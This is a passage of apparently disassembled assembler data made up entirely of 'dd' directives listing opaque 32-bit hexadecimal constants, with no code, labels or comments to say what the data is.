		dd 9D095F72h, 0FB482ED9h, 0F6738105h, 88BFFB94h, 25328996h
		dd 6BBEF644h, 0A79A340h, 139D74BDh, 0CD035A3Ch,	0FE66926Dh
		dd 6E5FCCB3h, 0D3AC4AD8h, 0D6E58B4Ah, 1E27B56Bh, 820F8BB7h
		dd 6DD2E092h, 4AB3E036h, 35E2CA7Ah, 226F33AFh, 89F93917h
		dd 23FAE0A1h, 95EE710Fh, 13B88E49h, 0F5B0C1E7h,	587CA0A8h
		dd 69208D98h, 60F89501h, 742B2041h, 0A094E610h,	4C3ABEABh
		dd 272D3729h, 2AF15DA2h, 4D69175Ch, 48194617h, 3A1DC12Fh
		dd 88BC2F5Dh, 0BA600004h, 66912D37h, 13F1419Dh,	0FA566102h
		dd 35801E51h, 0B3D7C781h, 94955D7Fh, 0BCD574FBh, 0F466F47Dh
		dd 5815016Ah, 22C0B6F8h, 0F24E564Fh, 60D59316h,	8380BEDBh
		dd 0AE5A08Bh, 8D167698h, 3BFD0F59h, 0A0A0E696h,	2F44518h
		dd 3B23E42Fh, 315C5786h, 0EE2E6B25h, 214CBDD1h,	14A99D10h
		dd 50D7325Fh, 11101BD6h, 17CE5F25h, 4F30AD20h, 55F390h
		dd 0D197BF95h, 1481B0h,	0B1CC1692h, 855F1D4Ah, 90A7CA00h
		dd 397B4BBFh, 69E6D435h, 0A4110h, 0BBC60968h, 9452502Ah
		dd 0D78240E8h, 8E00B2A3h, 0BF310FADh, 8D557h, 81585A41h
		dd 0C5F62434h, 372AA42Dh, 517E000Dh, 0B88FB2Fh,	2073A624h
		dd 0B74FD426h, 107BC8h,	1CAABD99h, 0FA85CFA9h, 0BC3D9516h
		dd 77D5E482h, 7380453Dh, 5DBA25A2h, 3C3058E8h, 4A317110h
		dd 9B3B8AC9h, 87A2D777h, 94E2E9C4h, 0B83EE908h,	145003Fh
		dd 439BCB05h, 0BB12666Dh, 0A2E389F7h, 0C7DA8A0Eh, 4FBF1808h
		dd 342B7EC9h, 0DF9BAE56h, 4EBA9C80h, 0D13C9CEh,	8BF04036h
		dd 9C0E4B71h, 954A317Ah, 578939D2h, 0F1E0D6EDh,	22BD2E2h
		dd 1050777Ch, 0E8F0EE48h, 0A0A02348h, 4BE1BD0Bh, 5B58892Dh
		dd 0F813C04Dh, 0B0C5823Fh, 0EE4C5C9Ch, 0B0BBE309h, 0C280920Eh
		dd 5F42DE5Eh, 29690095h, 9715B585h, 4CFE763Ah, 9930BDCh
		dd 218267D6h, 467E2BE5h, 0C8F225h, 0CF54FB68h, 0EFBF66D1h
		dd 0F3C7654Bh, 2E4FAF21h, 0C94ADA2Ch, 0DE9B2E4Ah, 9FF579C0h
		dd 0B5168957h, 55B805A5h, 408B8889h, 2C079559h,	802F8286h
		dd 735C8CACh, 8F040552h, 0BC5B0511h, 9375C060h,	7E44906h
		dd 25F7E0D5h, 6C9830FDh, 5B39DF95h, 0CE89341Eh,	0E5B8EBE9h
		dd 0AA0AEE7Dh, 9BC0F468h, 241FA908h, 6204112Eh,	6CCFB9C4h
		dd 0F19B8A1Fh, 0B9D10F25h, 0EDEE7B8Fh, 116D8F80h, 0B000C9DBh
		dd 59B3CA29h, 0BF6117B5h, 4609D3B7h, 0CD6B40F9h, 0DF56822Ah
		dd 0D120105Bh, 0E781031Dh, 0C49AD939h, 1AA238B8h, 2F4599C6h
		dd 0E177C13Bh, 67AA041Bh, 89BDC564h, 0E13A2BF5h, 0BFD040E4h
		dd 320BC985h, 4BDCABBCh, 25E38A65h, 0F6EF7EC8h,	7609F302h
		dd 960AEE8Ch, 5C9A69CCh, 890C3777h, 0AE85D34Eh,	90FCF28Dh
		dd 0F80527E2h, 0FF9A9540h, 744B5056h, 0AD5EDE04h, 0F04A6BA6h
		dd 82E4C07Ch, 25486C9Dh, 37C170B9h, 93A52F95h, 0BCFE352Bh
		dd 221548E7h, 1F953911h, 0C4810070h, 9FBF4DB9h,	2A73726Ch
		dd 86F04F14h, 485452C9h, 0CEE55BB6h, 8237533Ah,	88941797h
		dd 208DF0FFh, 1CF93B97h, 2B7BDBBCh, 0EB16308Dh,	1897AA40h
		dd 9702B7C1h, 5EBB9D18h, 723D8C12h, 9A4F49E7h, 0FFC78007h
		dd 20EF1C1h, 8772CF81h,	4F5C5484h, 17D13D29h, 0CA127518h
		dd 68E126B7h, 1B540847h, 698D4B1Eh, 6F5963A9h, 5A3989A5h
		dd 194F953Dh, 9D8E6240h, 0FDB42E4Ch, 7EBF1A9Ah,	6A5F767Ah
		dd 0D7F0B7F6h, 7D1CF66Ah, 0D0C59EB8h, 0EC056509h, 0F8292935h
		dd 0AF81206Ah, 0E003F926h, 0F3E7F8ABh, 0AED9A0DDh, 0BD9F3856h
		dd 0C2D3190Fh, 2C9D8DD7h, 8D7180E7h, 540CDD1Fh,	1560B96h
		dd 0A7C6B309h, 0F5CDBB50h, 7696E990h, 6887F099h, 0EF2022Bh
		dd 0D8A596BFh, 0F669947Ch, 0B70713A6h, 8A9D4AEEh, 37A8032Dh
		dd 227550C5h, 963956A4h, 80662526h, 0BD4E3190h,	60B23F12h
		dd 40F44F8Bh, 2D6328F6h, 0F1C0EB9h, 0BF61C1B7h,	7A5096F8h
		dd 0F03CCFC8h, 23890114h, 6B9EFE0Eh, 0FB207F01h, 0F120F9h
		dd 7B3A095Fh, 7C9B8627h, 311396F0h, 8D2D1995h, 1EF1E889h
		dd 13A55F73h, 763FC028h, 8848002Ah, 0A956E02Eh,	23AA1DB1h
		dd 80A1B77Fh, 5416AAEFh, 0DA127CE0h, 0C60547F2h, 47041CCDh
		dd 60AA1621h, 18E629C7h, 0AC9C33Dh, 9695CDFCh, 715BF909h
		dd 0FE624435h, 0C90EE77Bh, 948B501h, 125264A5h,	4B29BD31h
		dd 0E27BC63Ch, 3B34D0h,	750115C1h, 8960AE66h, 2E63857Dh
		dd 256D9D73h, 34C5617Fh, 0D22FEFA4h, 97C1E83Ch,	6D7D2E0Fh
		dd 0FA00EB37h, 8E6E26CAh, 199D1703h, 0D65CBD2Ah, 0A7E34EE6h
		dd 9A2542E8h, 0DD852918h, 4A0F50E1h, 0B4333181h, 7668285Eh
		dd 0E4796105h, 49A66A2Dh, 85F4CBF0h, 0BA1B117h,	256C3515h
		dd 20637B8Bh, 16A128B3h, 4A60EE75h, 0FE715214h,	0C5599370h
		dd 0FD1F016Dh, 66543B39h, 90F2F8BBh, 5003F6B3h,	0A65FD98Bh
		dd 0AFB32020h, 0B38C854Ah, 377E26DBh, 0BD611367h, 7DDB5B6Eh
		dd 0D0529ECDh, 6A5A38D0h, 1AF094B6h, 212A887h, 5DE39D7Ah
		dd 598D0909h, 3A5513C2h, 17357524h, 8BAD1603h, 0ED5EF81Ah
		dd 926FE9Bh, 7B2107BFh,	0F4D12A87h, 4F0781F8h, 84292EE5h
		dd 0ADDF2EEEh, 29025990h, 2BE9B530h, 0B526B350h, 2AFA0991h
		dd 0B736D49Dh, 7F84BB0h, 2B7AE800h, 5121AD64h, 0A2BB0160h
		dd 132E6C8h, 619348BDh,	0EACE912h, 0A7C930E2h, 0DC433008h
		dd 94970C00h, 8EABBE2Ah, 0EB752484h, 52991261h,	0B855ED22h
		dd 0F3CF25E7h, 0A973DC6h, 84135B0Bh, 0FE929FF2h, 0E304B835h
		dd 0BF400580h, 7989BC7h, 0E16E905Fh, 758E8A00h,	0C1B25C3Dh
		dd 0CF812E07h, 24242B35h, 0A75FF9ACh, 67A0E0CFh, 2220907Ah
		dd 0CE961C8Ch, 70260440h, 61DA1CE5h, 0CD5E8069h, 16C959CFh
		dd 0B06AE92Eh, 12119108h, 0A0EE65Bh, 0C43D9D0Bh, 0DD44A5h
		dd 4BCA51F3h, 78FC85C1h, 0F547EC13h, 7EB33A02h,	69215C9Bh
		dd 6ADFF883h, 0C94F68D6h, 12119121h, 3D0F5991h,	98330075h
		dd 0E7EE73B8h, 776302D9h, 3AE1C61h, 0ECC5E056h,	41459ECCh
		dd 4F527C2Dh, 0D1817E90h, 80A70522h, 94B06102h,	0FFC0C72Eh
		dd 0B770E6E0h, 7104E433h, 0A299D31h, 0BC6DCCABh, 0BD5E81A4h
		dd 0B6196EE2h, 2B9D46C8h, 0A258ABA7h, 4C1C0D10h, 0D3810157h
		dd 1B67A115h, 60D40F2Bh, 62A5025Fh, 0E24007FCh,	0D29561D1h
		dd 719D104Fh, 642B370Ch, 2DA633E7h, 0D88A2797h,	0CB034D92h
		dd 0F5480531h, 0B7F01794h, 0A959F1E0h, 0EF6161BCh, 810A943Ah
		dd 2B9B93DAh, 8F5C80Dh,	2EA99E11h, 22C2A904h, 8D92C411h
		dd 0A4D9EE23h, 2181168Bh, 18EC0276h, 0CC6AE145h, 1A448491h
		dd 0A1A5F4FCh, 8E8BFE16h, 0D48891D5h, 4A142851h, 0BD9CD8DEh
		dd 5A13F33Fh, 6F8060DBh, 0B8CCEFA6h, 3C0C3771h,	68F5AC78h
		dd 0DB6A5EFEh, 3C47C06Ch, 14B68668h, 0BFF47D9Ah, 5220E70Ch
		dd 5A25C70Ah, 0C113F404h, 12AE19Dh, 0C83FBCB9h,	8895D8F2h
		dd 3ED6449Fh, 720FAE57h, 0AD2A5BD2h, 27F508E6h,	1109FC12h
		dd 0B81E2575h, 877EABh,	0EE180B0Ah, 17CC87BEh, 531E5F50h
		dd 2908BE25h, 0D22B091Bh, 97DC7C56h, 75D61929h,	0ACEA4D25h
		dd 501D698h, 0A06C15FAh
		dd 0FA38FE8Ah, 4433C112h, 0E7880D37h, 7942B083h, 0F1DF01CBh
		dd 1A58265Ch, 0D6143CF9h, 954AA9A3h, 0C17ABFF3h, 76611101h
		dd 2B6AEFB4h, 3D51F62Bh, 0BF30947Eh, 4980F9DBh,	3B8546AEh
		dd 294D1002h, 911E18Dh,	3E44E451h, 0FD923754h, 0B17BCD1h
		dd 0D3AA5AEDh, 0AF8A9300h, 9A953F5Ch, 1E0CE0B4h, 0E1FF26F4h
		dd 0EDD0922h, 0CDC47359h, 8866A252h, 30EDAFDBh,	1D92E5C0h
		dd 1F5F0497h, 0F24F29FFh, 39F40047h, 7B08446Ch,	327000DDh
		dd 0DBD3405Fh, 0D1057753h, 51467290h, 98E7C8Ch,	8C3E12D5h
		dd 0A2290D7h, 0F45A122Fh, 84B1B24Ah, 9EBA0447h,	95168069h
		dd 4361E41h, 4F8B2053h,	1CC7EF99h, 6F6017D8h, 80840143h
		dd 23507A29h, 5B21227Eh, 4225AD56h, 80E3B789h, 0B5C0CFBEh
		dd 660453B8h, 5B3E8CBFh, 4522AFADh, 3D27CC98h, 2F5309h
		dd 54889E5Dh, 1A0197E2h, 0FD492175h, 757F7AB3h,	0A7FDA692h
		dd 29387010h, 60B13802h, 313BD4h, 2F7172BDh, 0B1F4579Bh
		dd 1512E207h, 59196154h, 0CACDA7EAh, 505F82C0h,	59E102C8h
		dd 0C53FB1DBh, 900DF84Ch, 350A870Fh, 306A8DD9h,	50440CC7h
		dd 851BBF3Eh, 29907614h, 4F349E12h, 0FD0095E2h,	9EB293A1h
		dd 10083F7h, 0C60D59DBh, 264D6C68h, 20730F4Ch, 0CD799717h
		dd 0B8BB7BEh, 1F167009h, 25534E93h, 84C08A4Dh, 5D5691Dh
		dd 8C8F4953h, 4BDFF3B1h, 1CA21488h, 89A5DD8Eh, 6C56488Ah
		dd 1447DAC5h, 4FE0521Ah, 0F84AD773h, 0E9024B11h, 4C5E84Ah
		dd 4396E534h, 0D4C5ACF9h, 2D19104Bh, 7BC9954Ah,	5FCB00DEh
		dd 0D1E88423h, 0CE7B1783h, 68265A2Ch, 0E19D00C4h, 162BF8D0h
		dd 2979CF5h, 659CB299h,	0B04454C0h, 4EAE4EDAh, 94A9E83Dh
		dd 0A2DC1215h, 0A64AE8B3h, 0FA25E0CEh, 0E8183A35h, 0EE720888h
		dd 2A3BEF01h, 883F0689h, 0D503FD7Fh, 0BD1B2B0Fh, 188202A4h
		dd 5F309024h, 6F94D84Ch, 0C1FC3C40h, 0A32D38D0h, 0BCDD8F00h
		dd 7C52FB89h, 0BF312C01h, 61DD658h, 446AE41h, 17DF3470h
		dd 1BB5196h, 5B415994h,	2CC0E650h, 28FEE52Ah, 5BE29295h
		dd 0C7227841h, 4A3AC948h, 508171A2h, 171B8E0Fh,	75F35275h
		dd 0F44086Bh, 0CE97F601h, 3EC430D0h, 0CC5FF9D4h, 60778B26h
		dd 543810BFh, 0D35500F0h, 3BA8A69Eh, 7452C315h,	615F122Eh
		dd 0DDBFCC00h, 0A360D3D7h, 0B557A863h, 6158398Ah, 0E02BB64Eh
		dd 264F0DDh, 89F2BC10h,	27D6101h, 55094134h, 0B2D694BAh
		dd 916F9840h, 81720017h, 6C8B4ED3h, 93B55B27h, 6EAEACD7h
		dd 5160986h, 62C10B33h,	0EB175EA9h, 635005FBh, 9DA1A0F1h
		dd 3D2BFBA9h, 956E6ADCh, 0C0682600h, 3B0C8314h,	56D88A24h
		dd 2BB2DE12h, 6A36468Dh, 9BC21CDBh, 0F8D46373h,	9A2A1508h
		dd 0B0D42537h, 8E824BDCh, 5A0FB823h, 17BCD88Fh,	25555482h
		dd 25380E65h, 49EBD05h,	8012F07Bh, 0A51A67CFh, 89D61402h
		dd 57201DB5h, 0C820C31Ch, 8DBB3C04h, 86B2BF7Dh,	96805F12h
		dd 1185FDE9h, 0BBFF6E95h, 0C47D50F6h, 7094B504h, 9EAB2E3h
		dd 99594381h, 95BD0B82h, 0E9F25627h, 0FBC0CF6Dh, 2A8262Ch
		dd 2D285ABBh, 0AB423CEBh, 968371FCh, 0D8E2F0BFh, 0E556501Ch
		dd 8ACB146Ah, 6367312Ch, 8D88B791h, 857FA515h, 22246200h
		dd 33F04211h, 0B37809C9h, 21702B87h, 97F6964Eh,	39E04BF3h
		dd 9A01C61Ch, 89732E6Dh, 5D3EE59Dh, 13F18BE1h, 387ACEFBh
		dd 5ADDCC6h, 793A17E9h,	0DF63F813h, 0C43210E5h,	4E110076h
		dd 0E2CD433Bh, 64090AD6h, 715FE0A2h, 0A5E2A180h, 42803DB7h
		dd 5E48E020h, 810F1216h, 2570FE18h, 0E3D3A8h, 2787EFA7h
		dd 0EE0C6812h, 0FCBB8A00h, 9223ED56h, 0B51A977Bh, 720B7F5h
		dd 670C40D2h, 0D471D9DBh, 5695098Eh, 0D5AD54C4h, 73C46BD2h
		dd 3FFF8500h, 0B380D803h, 0D308979Eh, 4154A778h, 25A4AA40h
		dd 83C7008Ch, 0B3DDE4D1h, 72B8305Ah, 2CC8B95h, 571BAF63h
		dd 8476333Ah, 117239D4h, 54E1DD00h, 0FB40F795h,	0CABD8975h
		dd 25EC5621h, 3860D74Fh, 1080620h, 0FB8B051Dh, 6F31BD23h
		dd 5C1ACC89h, 0BA5B0BC0h, 2F0549B3h, 160F0AA3h,	0B74AB1B8h
		dd 0DED105Ch, 3D8D89A0h, 5E5085C9h, 88B44041h, 3DB0E01Ah
		dd 0A5B0F500h, 853B38F2h, 2760989Eh, 1A4A08D8h,	0B100F4D9h
		dd 6B4E41E5h, 9D030991h, 0DB1C16C1h, 0CC359Fh, 0D300FD4h
		dd 0E91443B7h, 3AE85Dh,	0E4B4753Fh, 4AB32C96h, 963FE2FCh
		dd 0A0A0FAB6h, 2B0962FAh, 0D109359Dh, 0DC560974h, 3E44E271h
		dd 7FD32458h, 7950A527h, 7A2F05ADh, 0A100BF38h,	0F48AF105h
		dd 7F760ABAh, 1CA6CF29h, 0DB2FA1E7h, 0B1097AAFh, 0D8F0A7FBh
		dd 0ACE5008Ah, 9FD4193Bh, 6028CB2Bh, 130035E8h,	0D10D52D2h
		dd 99FB4Eh, 0B4E1BDC6h,	115BB830h, 2427391Dh, 465127h
		dd 0A01D4593h, 0C004CE87h, 61F85F5Eh, 10D21ABCh, 0E84B30BFh
		dd 0CEF53DB9h, 0C34C3960h, 8C6F049Dh, 0B2613691h, 5E1D0068h
		dd 28A48F51h, 0C4A15F47h, 0F7855323h, 15CB0C1h,	3FAF02FEh
		dd 81BC95F3h, 5F9D625Dh, 75561609h, 0D65AF6E9h,	69B08916h
		dd 78B56C09h, 463C9740h, 0CC58739Bh, 5A191F09h,	0B96B523Eh
		dd 0EDB6D698h, 946ECCA0h, 101E5313h, 0F2001FA2h, 0CA50F18Bh
		dd 9047184h, 0C6FBC934h, 921D00A4h, 461C9794h, 13919D11h
		dd 0FAF29A12h, 0BC00147Ah, 833D92C5h, 0E004FB87h, 0C18B865Dh
		dd 0CB109FEh, 2B8E4B7Bh, 722D2BBDh, 0E9C790F6h,	2F18F224h
		dd 5B376AF2h, 0ADAB3381h, 0C9C8D68Eh, 898016CDh, 852EB585h
		dd 1659D6Ah, 600FC8AAh,	16DDA6C4h, 0AD9D3301h, 1361030Ah
		dd 0FD7168B4h, 2691E8E0h, 8F3F9FAh, 0C2251DFDh,	0DE2BF651h
		dd 0BD0B4E0Bh, 0B32522D1h, 952BD566h, 6100C73Dh, 8FD8085Bh
		dd 91FEC9A5h, 23FBFD62h, 274F7D0h, 14BAA2C6h, 9B75D0FDh
		dd 0BB520295h, 3DB34EB0h, 4FAF5B5Eh, 4A924131h,	52B36AB0h
		dd 0B9F72403h, 9AF9134Eh, 3505D038h, 77FE1916h,	1CAAABACh
		dd 0B9C148CBh, 1A7B6F82h, 0ED530F6Eh, 0CD560497h, 13B8122Eh
		dd 131A8711h, 32A8F860h, 0C47CAA80h, 0CF00B24Ah, 9663C294h
		dd 2795FE1h, 0EBF02A8Eh, 0A55E6191h, 0BB147551h, 2F1B3AC6h
		dd 0D97B026Ah, 2262370h, 0E3508015h, 0BF4082D2h, 0C461F5D7h
		dd 9139CB0Ah, 2C622FBh,	3604B724h, 64CFCDA5h, 4D0B6017h
		dd 23D85A09h, 0FEC8BE05h, 1C316643h, 0E95FE485h, 0FB1C57CAh
		dd 5ACB7248h, 0AAD2FEDBh, 0B4880912h, 24E600CDh, 444E1026h
		dd 8D3B6692h, 659A07CEh, 0D143D28Bh, 0FFE8A4BDh, 0D3FCADD2h
		dd 5EA8C0A9h, 30001E90h, 0BB515046h, 4E7CDCA0h,	7B8EE543h
		dd 0EE2E326Eh, 71508FDh, 0BD01893Ch, 4B6750D5h,	59C9CA5Bh
		dd 5EEAAD77h, 8EAE397Ch, 0BC504506h, 971E22A4h,	0F960B530h
		dd 61D58A16h, 70D0DEADh, 0F5125AFCh, 0E06FFF6Ah, 0FD411200h
		dd 7D23A6FBh, 0C28036B8h, 5CB8C0F2h, 26E6ABFh, 0D53169A1h
		dd 1D44C094h, 0E0DD4A8Ah, 0D99F86A9h, 505A474Bh, 6A3E48C0h
		dd 371F2700h, 0E62FB814h, 452BE70h, 0B871E41Ah,	0CB924B0Bh
		dd 0E11A2BEFh, 4309E1D9h, 4725ED2h, 0BC5F4DD5h,	239584D7h
		dd 5D10173h, 39840921h,	0BCF89960h, 9D2B0BD7h, 70732961h
		dd 0DE8A3DD2h, 0EF51C8A5h, 43ECF400h, 3BE8058Ch, 8B944E88h
		dd 6912F3D1h, 6B64AF0Eh, 2E084F82h, 0D0282C6h, 7ED88B39h
		dd 0DC010527h, 0B151E47Ch, 5B05C2EFh, 9DAB46ABh, 12DC6135h
		dd 5654BF01h, 482F22D5h
		dd 0AAA413E3h, 56005511h, 4C8A24BBh, 1F985B33h,	74045D25h
		dd 11D7E89Eh, 0E7800903h, 11E879BCh, 62D04030h,	0A5507C7Dh
		dd 3115FE1Ch, 6DAA5185h, 986ED2B8h, 0E6003D1Ch,	0D64AB054h
		dd 0FC4C91E2h, 8ABF0989h, 0FE7B5FFAh, 13FEA805h, 3ABCB6B9h
		dd 60D05E0Bh, 89D02109h, 0BA68059Dh, 0D0E65F25h, 0A8B86000h
		dd 61747EDFh, 9622EB9h,	0F1C944FEh, 0D4132EA1h,	1676EABh
		dd 36F75BA6h, 5AE3FC4Ah, 0ADD3C52Eh, 693D8042h,	4B17D535h
		dd 770DECFCh, 0D2B2F44h, 0A99509C0h, 6FD2E113h,	0F136A820h
		dd 0E0310E15h, 23879673h, 337BA076h, 1D24A9EAh,	5D04DF7Ch
		dd 0AEBC5FF3h, 0D8D780F0h, 0B17853B3h, 80A95FDBh, 1369EB90h
		dd 0DA40D19Ch, 7A59C6FDh, 82F0042h, 0C3C8A27Ch,	0C49FD139h
		dd 0F7800A8h, 4D8AB014h, 982C8612h, 88166A95h, 0D3C090E9h
		dd 8F775196h, 252DEA00h, 3A3E187Bh, 0F56602CAh,	5B4EE076h
		dd 0DBAF00D3h, 0E10A5028h, 1CA90B12h, 66D09A01h, 342F1E90h
		dd 0BCC0B8E1h, 0DE1D4B05h, 791680F9h, 5C117847h, 127538B8h
		dd 0F21C2E4Fh, 5D6789BFh, 56824DBDh, 0D2F98B46h, 844DBD1Eh
		dd 404DA0E1h, 0ECA8256Fh, 7306255Fh, 17809795h,	0FF6E819Eh
		dd 80A538E1h, 2A1CBD03h, 57332556h, 4B11E8E5h, 6980155Ch
		dd 605027B5h, 0E5A7891Dh, 9E9DC080h, 124ABC48h,	0F2BF6CBAh
		dd 0D14289FFh, 0AE70490Ch, 80F5FF61h, 0F16BCFEFh, 0BCBCFFD4h
		dd 806E4F63h, 75A0803h,	44A887BAh, 0B1628FA4h, 0F6B585B0h
		dd 0BACA4052h, 72C46136h, 99BCAF67h, 73F16E5Eh,	5F51CE12h
		dd 4A0C92F4h, 0A4CAE701h, 0B1225987h, 0B7385515h, 0EE09F381h
		dd 7B137969h, 1ECDAD6Bh, 1A31CF40h, 76BE094Fh, 2598E75Bh
		dd 3E0046C9h, 857FC258h, 0BB2252Ah, 9A837A10h, 5B94582h
		dd 51505F01h, 0BF3B167Ch, 5C707FA5h, 6F489A08h,	30E62F33h
		dd 746B597h, 0A0EAC0DEh, 4BF9BFB7h, 0C1087E27h,	316E0684h
		dd 7F1C0h, 24D12868h, 25B15369h, 0D2D784C0h, 0BF047679h
		dd 10A576Dh, 9BD64CACh,	0AEC880DDh, 1BD1157h, 4BC78192h
		dd 2F3D3B99h, 57FB8067h, 24E9E822h, 7AB742E8h, 9D59B097h
		dd 881EEB91h, 0B42DC019h, 800245DCh, 0D9BD2320h, 43165718h
		dd 3E1C359Fh, 0D375DC0Ch, 0F6E0DD6h, 922DCE57h,	81C044B9h
		dd 1C4BF7D3h, 8C0F4712h, 0FD4F01B3h, 4D892FEEh,	0F709E3FAh
		dd 0C42692F1h, 975A3BF2h, 89FD45C4h, 0C95AFC4Bh, 0B3A03061h
		dd 4B8997C4h, 5DC8CD4h,	0ACDC0DBFh, 2BEE860h, 9D2BFB4Bh
		dd 0AD057485h, 0F29D650h, 0AC3B9F8Fh, 9B60BF52h, 2D1D925h
		dd 0EABFF2E2h, 9A4156FDh, 33162F53h, 6EAEFA84h,	7F2700ADh
		dd 34632850h, 2010B72Bh, 0B3011B91h, 0EEDAD0D8h, 0C7C0ABE8h
		dd 13350977h, 0BE7973B0h, 63E590A7h, 0DE580F9Ah, 0BAA337B4h
		dd 68C84CBBh, 0A027FC78h, 0A44CAh, 0B7D1B450h, 0BCAFA577h
		dd 0C602637Eh, 46FD5ADEh, 0F89075AAh, 383E14B7h, 0E0DA807Dh
		dd 0FC9EE942h, 52840EABh, 0B8525B5Fh, 78704ADh,	1881357Eh
		dd 742F0FD9h, 0E06FB666h, 9CB529ACh, 0CD509444h, 0C0DF8B14h
		dd 5A7D844Bh, 877B82C1h, 0BE5AC70h, 143DBD33h, 0CA7D2B6Ah
		dd 0C83A4D15h, 296E6260h, 51EB841h, 0ADC96D1Dh,	6B8B7B13h
		dd 17D40CDCh, 0F8AA5E34h, 0C4512EBCh, 9CE2FE12h, 4135238Dh
		dd 6F37E978h, 28C9BB9Eh, 24D76679h, 5F90BD5h, 3B80B93Dh
		dd 3C35668Ah, 162F27F6h, 465D589Ah, 9726B037h, 14208E14h
		dd 0CF575004h, 8C3A14CFh, 0CB7CE5Fh, 0B52F8929h, 8B6A0239h
		dd 5984FBD9h, 0B9F41917h, 8B7C36EDh, 3A975B74h,	5CB55F86h
		dd 5C6C9100h, 0EC12E653h, 2D9D1809h, 45BF5033h,	49922512h
		dd 0BE47ABE2h, 0AE3DBFA0h, 0A2ABB20Ah, 0DF01896Dh, 2825BD09h
		dd 81B2702Fh, 9EF297E7h, 0B5EC5E62h, 0A81AD71Eh, 315EAF57h
		dd 75697D01h, 2A650D3Eh, 26618D9Ch, 0C0AD1004h,	0B439EC4Ah
		dd 6E35C801h, 611CE263h, 0BC22342Fh, 8401CF3Ch,	2EBD3071h
		dd 0EFB70FC4h, 0F2B51512h, 0F039F62Eh, 97DDCB80h, 7DDBF01Ah
		dd 64A28173h, 7632CBF8h, 99244867h, 0ABBD4135h,	1823326Bh
		dd 0FE8E0501h, 0F860551Eh, 0BBABB1D3h, 0AD198280h, 0C37E2B44h
		dd 611AD712h, 0DB2B23F1h, 5637895Ch, 0F65A259Dh, 28DDFB4Bh
		dd 7A06676h, 0E12FA83Ch, 0E56802B9h, 6E225EBDh,	97D7A8D2h
		dd 7CE86CADh, 0A5E1ED3Eh, 596873F9h, 0B231818h,	0E4105CFBh
		dd 54D32798h, 3FB00F00h, 9A43D28Ah, 86C505B8h, 0E81B6449h
		dd 7A9171C7h, 0A800A647h, 0C5C62D85h, 85D827E9h, 0BA84AEC1h
		dd 7C49C0D7h, 5F61AFF0h, 166F2F1Dh, 92091523h, 0C5A4023Bh
		dd 0C73A5731h, 0F9C15287h, 3371C75Ch, 0B0B6B72Bh, 0C0E6E1h
		dd 965DA4A2h, 0A8EBF66h, 8FBB5038h, 7672C93Dh, 6D9EA05h
		dd 81607560h, 52AA05EFh, 0AE617540h, 819A0C74h,	66CC3DC0h
		dd 1A139957h, 33083CA7h, 0DC609D0Eh, 8D512582h,	2C16564Bh
		dd 1A46D4BDh, 0A099BD00h, 7A4D62E3h, 4591035Ch,	9E522BB9h
		dd 0BF37AFEh, 0DE9D2BC4h, 0EEA7A08Fh, 0A11C971Eh, 8D7E5F45h
		dd 85742BB4h, 0F9A893E9h, 9F0A9305h, 12EF91C1h,	0B1C852FEh
		dd 0F7F62A7Bh, 9F199DE1h, 22A51D4Ch, 5C296525h,	6ED17A9Eh
		dd 9EDC7C2Dh, 0B8B19202h, 0E5C54EE8h, 25BFBDB0h, 0C973C426h
		dd 40336DADh, 0FBC05537h, 0E56D1B05h, 0F6F86275h, 0C126BC5Bh
		dd 3F9B1780h, 82D5F5F4h, 90244D6h, 0F56A6B39h, 0FC9A0719h
		dd 0BB01D405h, 67ACB1D6h, 51D49506h, 165F3558h,	6883AB2Eh
		dd 8AFD0B2Dh, 72E461ECh, 9952E00h, 5F5BCE70h, 4E0E0D33h
		dd 0ECECFCDAh, 62E1480h, 30125709h, 810F7CE2h, 50C773DFh
		dd 0B8602070h, 0E812B641h, 6C46178h, 84019BABh,	23BAAB86h
		dd 5BC0E7BAh, 7407DD97h, 0F0DC1194h, 1A157C8Ch,	667849F1h
		dd 0AC53C561h, 1909830Ah, 0EF38F70Bh, 497BBD01h, 0BCA5CE95h
		dd 0F3704093h, 0C901EDF4h, 0C1AC2B62h, 6E6AD1FFh, 6188001Bh
		dd 5AFC9F4Fh, 0C6221743h, 7E0AB030h, 0C55FE225h, 0DE741209h
		dd 0CC7EC43Eh, 6C807C85h, 9704E5BDh, 0AB54291Ah, 4CFB72D4h
		dd 91101042h, 0CF810329h, 0C21A7363h, 1E4650h, 7BFE3558h
		dd 28537E3Bh, 0FA5D2C09h, 8226743Dh, 1C4033F3h,	84B76FCCh
		dd 8B88E70h, 4807AE1h, 18A165C0h, 0D29F9B10h, 0F58A6875h
		dd 0BFD0501Dh, 0CCC94ACDh, 894A0FF7h, 3DE7188h,	0DBC5BF50h
		dd 0C35B0D5Eh, 0F01CD6Eh, 0E08A65F3h, 436E3C12h, 0FB670199h
		dd 9226C680h, 1612E4C0h, 0AD6B0A97h, 8C1AB8AAh,	0E2E43FFFh
		dd 0A60BD96h, 548205CDh, 0DECDCAE3h, 0A30BCE82h, 0DDFEE60Bh
		dd 928ED6h, 0C65EB8BDh,	0FF6A9E64h, 2DC28B6h, 8D8548CDh
		dd 415E8E6Bh, 0AC35B47h, 4A3CC089h, 5F3E273Ah, 0A26F747Ch
		dd 927798Dh, 0BB9D382h,	0F44ADCh, 0DB7313BEh, 0BD74A33h
		dd 2985BD12h, 88839E2h,	2C1201A7h, 57C2B06Fh, 453F104h
		dd 22B926B3h, 0E380F122h, 0C4951B11h, 801499EDh, 0CF1E58DAh
		dd 0E54BF720h, 0B661C88h, 0FCC254BBh, 6A755E11h, 9D89C4D0h
		dd 89224B99h, 80082819h, 4CFCD986h, 0D57E00E5h,	2BB87382h
		dd 955089C8h, 0D1248B42h, 51CB2E60h, 0D62000F6h, 2B7811B8h
		dd 0F6456200h, 0E7F49D46h, 4186BE61h, 550C8E0Fh, 1973A306h
		dd 85670739h, 0FC7DA42Eh, 6290D97h, 0CF398C2h, 0DAEA014Ah
		dd 0A1EEC590h, 0E196889Eh, 0EA5B181Ch, 0E69523B9h, 800B441Ch
		dd 22B9EF58h, 9DA4B83Eh
		dd 1DAC7471h, 5E093509h, 4726C416h, 0A5B5D98Ah,	0B3FE1702h
		dd 0B6948DE7h, 5201E276h, 0D67CFC69h, 4FC0EC3Ch, 0CC648425h
		dd 0A3A2624h, 2864377Bh, 3083CCA1h, 0F0030BD3h,	123165C8h
		dd 0B36AFDD0h, 0D3D6003Ah, 86183391h, 5F6F00E6h, 706EF0E7h
		dd 2E26A93Dh, 0DF06AF37h, 959AFD7Dh, 8C702FB2h,	0B999D305h
		dd 0CD4507E4h, 72AB0E86h, 0EE7D4915h, 79BA814Ah, 1573F5A5h
